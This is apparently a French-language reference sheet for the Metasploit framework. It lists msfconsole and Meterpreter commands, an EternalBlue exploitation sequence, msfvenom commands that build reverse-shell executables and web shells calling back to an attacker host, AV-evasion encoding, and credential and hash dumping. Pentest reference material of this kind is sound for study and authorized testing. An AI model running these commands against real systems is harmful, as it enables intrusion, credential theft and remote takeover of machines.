Guide de référence Metasploit
Référence complète du framework d'exploitation
Plus de 2000 exploits • Payloads • Post-exploitation • Commandes msfconsole
📑 Navigation rapide
Qu'est-ce que Metasploit ?
Metasploit Framework est le framework de test de pénétration le plus utilisé au monde. Développé à l'origine par H.D. Moore en 2003, il est maintenant maintenu par Rapid7. Le framework inclut des milliers d'exploits, des centaines de payloads et des capacités étendues de post-exploitation.
Metasploit est préinstallé sur Kali Linux. L'édition Community gratuite est disponible sur metasploit.com.
📦 Installation et démarrage
Kali Linux (Préinstallé)
msfconsole
Démarrer avec la base de données
sudo msfdb init
msfconsole
Démarrage silencieux (sans bannière)
msfconsole -q
Exécuter des commandes au démarrage
msfconsole -x "use exploit/..."
🧭 Commandes de navigation de base
| Commande | Description |
|---|---|
| help | Afficher toutes les commandes disponibles |
| help <commande> | Obtenir l'aide pour une commande spécifique |
| exit / quit | Quitter msfconsole |
| back | Revenir du module actuel |
| banner | Afficher une bannière aléatoire |
| version | Afficher la version du framework |
| history | Afficher l'historique des commandes |
| connect <ip> <port> | Se connecter à un hôte (comme netcat) |
🔍 Recherche de modules
# Recherche basiquesearch <mot-clé># Recherche par typesearch type:exploit <mot-clé>search type:auxiliary <mot-clé>search type:post <mot-clé>search type:payload <mot-clé># Recherche par plateformesearch platform:windows <mot-clé>search platform:linux <mot-clé># Recherche par CVEsearch cve:2021-44228# Recherche par auteursearch author:hdm# Recherche combinéesearch type:exploit platform:windows smb# Recherche par rang (excellent, great, good)search rank:excellent type:exploit
Types de modules
Exploiter des vulnérabilités
Scanners, fuzzers, etc.
Modules de post-exploitation
Shellcode et payloads
Encodage de payload
Générateurs de NOP
Modules d'évasion AV
⚙️ Utilisation des modules
| Commande | Description |
|---|---|
| use <module> | Sélectionner un module à utiliser |
| info | Afficher les informations du module |
| options / show options | Afficher les options du module |
| show advanced | Afficher les options avancées |
| set <option> <valeur> | Définir la valeur d'une option |
| setg <option> <valeur> | Définir une option globale (persiste) |
| unset <option> | Effacer la valeur d'une option |
| show payloads | Lister les payloads compatibles |
| show targets | Lister les cibles de l'exploit |
| check | Vérifier si la cible est vulnérable |
| run / exploit | Exécuter le module |
| exploit -j | Exécuter en tâche de fond |
📋 Exemple : Exploitation d'EternalBlue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker>
exploit
💣 Payloads
Types de payloads
| Type | Description |
|---|---|
| singles | Payloads autonomes (pas de stager nécessaire) |
| stagers | Petits payloads qui téléchargent le stage |
| stages | Téléchargés par les stagers (ex: meterpreter) |
Payloads courants
# Windows Meterpreter (staged)windows/meterpreter/reverse_tcpwindows/x64/meterpreter/reverse_tcp# Windows Meterpreter (stageless)windows/meterpreter_reverse_tcpwindows/x64/meterpreter_reverse_tcp# Linux Meterpreterlinux/x86/meterpreter/reverse_tcplinux/x64/meterpreter/reverse_tcp# Shells simpleswindows/shell/reverse_tcplinux/x86/shell/reverse_tcp# Payloads HTTPS (contourne les pare-feu)windows/meterpreter/reverse_httpswindows/x64/meterpreter/reverse_https
💡 Staged vs Stageless
Staged (/) — payload initial plus petit, télécharge meterpreter. Stageless (_) — payload complet, plus gros mais plus fiable. Utilisez stageless quand des restrictions réseau peuvent bloquer le téléchargement du stage.
🎮 Commandes Meterpreter
Commandes principales
| help | Afficher toutes les commandes |
| background | Mettre la session en arrière-plan |
| exit | Terminer la session meterpreter |
| sysinfo | Informations système |
| getuid | ID de l'utilisateur actuel |
| getpid | ID du processus actuel |
| ps | Lister les processus en cours |
| migrate <pid> | Migrer vers un autre processus |
| shell | Passer au shell système |
Commandes système de fichiers
| pwd | Afficher le répertoire de travail |
| cd <chemin> | Changer de répertoire |
| ls | Lister les fichiers |
| cat <fichier> | Lire le contenu d'un fichier |
| download <fichier> | Télécharger un fichier vers l'attaquant |
| upload <fichier> | Uploader un fichier vers la cible |
| edit <fichier> | Éditer un fichier avec vim |
| search -f <motif> | Rechercher des fichiers |
Élévation de privilèges
| getsystem | Tenter d'obtenir les privilèges SYSTEM |
| getprivs | Lister les privilèges disponibles |
| hashdump | Extraire les hash de mots de passe (nécessite SYSTEM) |
| load kiwi | Charger l'extension Mimikatz |
| creds_all | Extraire tous les identifiants (kiwi) |
Réseau et pivoting
| ipconfig / ifconfig | Afficher la configuration réseau |
| arp | Afficher le cache ARP |
| route | Voir la table de routage |
| portfwd add -l <lport> -p <rport> -r <host> | Redirection de port |
| run autoroute -s <subnet> | Ajouter une route pour le pivoting |
📡 Handlers et listeners
# Configurer un handler pour reverse shelluse exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST <attacker> set LPORT 4444 run# Exécuter en tâche de fondexploit -j# Handler en une lignemsfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST <attacker>; set LPORT 4444; run"
🔗 Gestion des sessions
| Commande | Description |
|---|---|
| sessions | Lister toutes les sessions actives |
| sessions -i <id> | Interagir avec une session |
| sessions -k <id> | Terminer une session |
| sessions -u <id> | Mettre à niveau un shell vers meterpreter |
| sessions -c <cmd> | Exécuter une commande sur toutes les sessions |
⚙️ Gestion des jobs
| jobs | Lister les jobs en cours |
| jobs -k <id> | Terminer un job |
| jobs -K | Terminer tous les jobs |
🔧 Génération de payloads avec Msfvenom
Msfvenom est utilisé pour générer des payloads autonomes en dehors de msfconsole.
# Exécutable Windowsmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f exe -o shell.exe# DLL Windowsmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f dll -o shell.dll# ELF Linuxmsfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f elf -o shell.elf# Shell PHPmsfvenom -p php/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f raw -o shell.php# Shell Pythonmsfvenom -p python/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f raw -o shell.py# Shell JSPmsfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker> LPORT=4444 -f raw -o shell.jsp# Shell ASPmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f asp -o shell.asp# Fichier WARmsfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker> LPORT=4444 -f war -o shell.war# Avec encodage (évasion AV)msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -e x64/xor_dynamic -i 5 -f exe -o shell.exe
Options Msfvenom
| -p | Payload à utiliser |
| -f | Format de sortie (exe, dll, elf, raw, etc.) |
| -o | Fichier de sortie |
| -e | Encodeur à utiliser |
| -i | Itérations d'encodage |
| -b | Caractères à éviter (ex: \x00\x0a) |
| -l payloads | Lister tous les payloads |
| -l formats | Lister les formats de sortie |
| -l encoders | Lister les encodeurs |
🗄️ Commandes base de données
# Initialiser la base de donnéessudo msfdb init# Vérifier le statut de la base de donnéesdb_status# Créer un workspaceworkspace -a <nom># Changer de workspaceworkspace <nom># Importer un scan nmapdb_import nmap_scan.xml# Exécuter nmap depuis msfconsoledb_nmap -sV -O <target># Voir les hôteshosts# Voir les servicesservices# Voir les vulnérabilitésvulns# Voir les identifiantscreds# Voir le butinloot
🎯 Modules de post-exploitation utiles
# Windowspost/windows/gather/hashdumppost/windows/gather/credentials/credential_collectorpost/windows/gather/enum_logged_on_userspost/windows/gather/enum_applicationspost/windows/manage/enable_rdppost/multi/recon/local_exploit_suggester# Linuxpost/linux/gather/hashdumppost/linux/gather/enum_users_historypost/linux/gather/enum_system# Multi-plateformepost/multi/gather/ssh_credspost/multi/recon/local_exploit_suggester
📚 Ressources supplémentaires
⚔️ Guide de référence Metasploit terminé !
Vous disposez maintenant d'une référence complète pour le framework d'exploitation le plus puissant en cybersécurité. De l'énumération à l'exploitation en passant par la post-exploitation, ces commandes sont utilisées par les testeurs de pénétration du monde entier.
Prêt à compromettre votre prochaine cible !